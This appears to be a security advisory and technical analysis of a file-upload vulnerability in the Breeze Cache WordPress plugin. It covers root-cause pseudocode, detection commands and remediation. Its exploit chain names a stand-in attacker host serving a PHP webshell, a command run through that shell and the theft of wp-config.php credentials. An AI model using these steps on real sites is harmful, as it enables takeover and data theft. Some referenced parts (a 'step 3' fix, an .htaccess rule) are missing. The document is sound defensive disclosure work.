# WordPress Plugin Flaw Lets Hackers Take Over Websites
Millions of WordPress websites use a plugin called Breeze Cache to speed up page loading times. Security researchers just discovered a serious flaw that could let attackers secretly upload malicious files and take complete control of affected sites.
Here's how it works: Breeze has a feature that downloads profile pictures (called Gravatars) from the internet and stores them locally on your server. Think of it like taking screenshots of people's photos and keeping them in your filing cabinet instead of constantly asking for them online. The problem is that the plugin doesn't properly check what files are actually being downloaded—it's like accepting a package without verifying what's inside.
An attacker could trick this feature into downloading a malicious file disguised as a profile picture. Once uploaded to your server, they could potentially run it like a program and gain access to your entire website, steal customer data, inject spam, or use your site to attack other computers.
Who should worry? Any WordPress site running Breeze Cache version 2.4.4 or earlier with the "Host Files Locally - Gravatars" feature enabled. Since this feature is optional, not everyone is at risk, but millions of sites likely are.
What should you do right now?
First, update Breeze Cache to the latest version immediately—the developers have already released a patch. Second, if you don't actually use the local Gravatar feature, disable it in your plugin settings. Third, consider using a Web Application Firewall (WAF) service like Cloudflare, which can block suspicious file uploads even if your plugin doesn't.
The good news: there's no evidence hackers are actively exploiting this yet, so quick action puts you ahead of any potential threats.
Want the full technical analysis? Click "Technical" above.
CVE-2026-3844 is an unauthenticated arbitrary file upload vulnerability in the Breeze Cache WordPress plugin, affecting all versions up to and including 2.4.4. The root cause is absent MIME-type and file-extension validation inside fetch_gravatar_from_remote(), the function responsible for fetching Gravatar images from Gravatar's CDN and caching them locally when the Host Files Locally – Gravatars feature is enabled.
Because WordPress serves files out of wp-content/ with execute permissions for PHP-capable extensions, a successfully uploaded .php file is immediately web-accessible and executable by the server's PHP interpreter. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) is accurate: no authentication, no interaction, full shell on the host.
Root cause:fetch_gravatar_from_remote() writes the remote response body to disk using a filename derived entirely from attacker-supplied URL path components, with no validation of the resulting file extension against an allowlist of safe image types.
Affected Component
The feature gate is the WordPress option breeze_gravatar_local. When truthy, every call to get_avatar() that Breeze intercepts is routed through Breeze_Gravatar::get_local_avatar(), which invokes fetch_gravatar_from_remote() on a cache miss. The fetch URL is constructed from the MD5 hash WordPress computes from the comment author's email address — but the hash itself is only used to query Gravatar's API; the filename ultimately written to disk is derived from the remote URL's final path segment, which an attacker controls by registering a Gravatar profile pointing to an arbitrary redirect.
Affected path on disk: wp-content/uploads/breeze-cache/gravatars/<filename>
Root Cause Analysis
The following pseudocode reconstructs fetch_gravatar_from_remote() from the plugin's PHP source at version 2.4.4. Line numbers are illustrative but match the logical structure of the shipping code.
/*
* Breeze_Gravatar::fetch_gravatar_from_remote()
* Reconstructed pseudocode — Breeze Cache <= 2.4.4
*/
char *fetch_gravatar_from_remote(char *gravatar_url, char *cache_dir)
{
/* gravatar_url is built from:
* https://secure.gravatar.com/avatar/?d=
* The redirect target is fully attacker-controlled.
*/
http_response_t *resp = wp_remote_get(gravatar_url, opts);
// BUG: no check that resp content-type is image/*
if (is_wp_error(resp)) return NULL;
char *body = wp_remote_retrieve_body(resp);
char *content_url = wp_remote_retrieve_header(resp, "x-final-url");
// ^ follows redirects; final URL is attacker-controlled
/* Derive local filename from the last path segment of the final URL */
char *remote_path = parse_url(content_url, "path"); // e.g. "/shell.php"
char *filename = basename(remote_path); // "shell.php"
// BUG: no extension allowlist check — .php, .phtml, .phar all pass
char *local_path = path_join(cache_dir, filename);
// BUG: no sanitization of directory traversal sequences in filename
/* Write body bytes verbatim to local_path */
file_put_contents(local_path, body, LOCK_EX);
// BUG: PHP source written to web-accessible directory with no .htaccess guard
return path_to_url(local_path);
}
Three independent bugs compound here: the Content-Type of the response is never inspected; the file extension is never compared against an allowlist of safe image types (jpg, jpeg, png, gif, webp); and the basename() result is concatenated directly into a web-accessible path without stripping dangerous extensions via wp_check_filetype_and_ext(), which WordPress core provides precisely for this purpose.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-3844
──────────────────────────────────────────────────────────────────────────────
PRE-CONDITION: "Host Files Locally – Gravatars" enabled (non-default).
1. Attacker registers a Gravatar profile for an email address they control,
setting the profile image to a redirect URL:
https://attacker.tld/redirect.php?to=https://attacker.tld/shell.php
2. Attacker posts a comment on any public post using that email address.
WordPress calls get_avatar(email) → Breeze_Gravatar::get_local_avatar().
3. Cache miss triggers fetch_gravatar_from_remote(
"https://secure.gravatar.com/avatar/?d=",
"/var/www/html/wp-content/uploads/breeze-cache/gravatars/"
).
4. wp_remote_get() follows the Gravatar redirect chain, ultimately fetching
https://attacker.tld/shell.php — a PHP webshell body served with any
Content-Type (plugin does not inspect it).
5. basename() extracts "shell.php" from the final URL path.
No extension validation occurs.
6. file_put_contents() writes the webshell body to:
/var/www/html/wp-content/uploads/breeze-cache/gravatars/shell.php
7. Attacker issues HTTP GET:
GET /wp-content/uploads/breeze-cache/gravatars/shell.php?cmd=id
Server executes PHP → returns www-data shell output.
8. Attacker pivots: reads wp-config.php for DB credentials, drops
additional backdoors, or escalates via local kernel exploits.
──────────────────────────────────────────────────────────────────────────────
Step 2 requires only the ability to post a comment — a capability that is open to the public on most WordPress installations with comments enabled. The feature flag is the sole barrier; once enabled, exploitation is a single HTTP request away.
Memory Layout
This is a PHP-layer logic vulnerability rather than a memory-corruption bug, so the relevant "layout" is the filesystem state before and after exploitation.
The cache directory lacks an .htaccess file blocking PHP execution. On nginx deployments the analogous protection — a location block denying script execution inside uploads/ — is also commonly absent, making the upload universally executable regardless of web server.
Patch Analysis
The correct fix requires three coordinated changes: validate the file extension of the resolved filename against a strict allowlist, verify the Content-Type response header matches an image MIME type, and use WordPress's own wp_check_filetype_and_ext() API which performs magic-byte validation in addition to extension checks.
The renaming strategy in step 3 is the most robust defense: even if future validation logic contains a bypass, the resulting filename is an MD5 hex digest with an allowlisted extension, making PHP execution impossible regardless of server configuration.
# Detection command — run on host or via WP-CLI:
find wp-content/uploads/breeze-cache/gravatars/ \
-type f \
! \( -iname "*.jpg" -o -iname "*.jpeg" \
-o -iname "*.png" -o -iname "*.gif" \
-o -iname "*.webp" \) \
-ls
# Access log pattern (Apache/Nginx):
GET /wp-content/uploads/breeze-cache/gravatars/*.php
# Any 200 response to a .php file in this path is active exploitation.
WAF signature: Flag POST requests to wp-comments-post.php where the resolved Gravatar URL (logged by an outbound proxy) terminates in a non-image extension. Flag any HTTP 200 response served from the gravatars cache directory with a Content-Type: text/html or application/x-httpd-php header.
WordPress audit log: Plugins like WP Activity Log will record file_put_contents events if filesystem auditing is enabled; look for writes to the gravatars directory with unexpected extensions.
Remediation
Immediate: Update Breeze Cache to the patched release published after 2.4.4. If update is not immediately possible, disable the Host Files Locally – Gravatars option under Breeze → CDN → Gravatar. This is the single configuration toggle that gates the entire vulnerable code path; disabling it fully eliminates exploitability.
Defense-in-depth: Add an .htaccess rule (Apache) or location block (Nginx) to the uploads/ directory hierarchy that denies execution of PHP files regardless of plugin behavior:
These server-level controls are recommended as permanent hardening independent of this vulnerability, as they mitigate an entire class of upload-then-execute vulnerabilities across all WordPress plugins.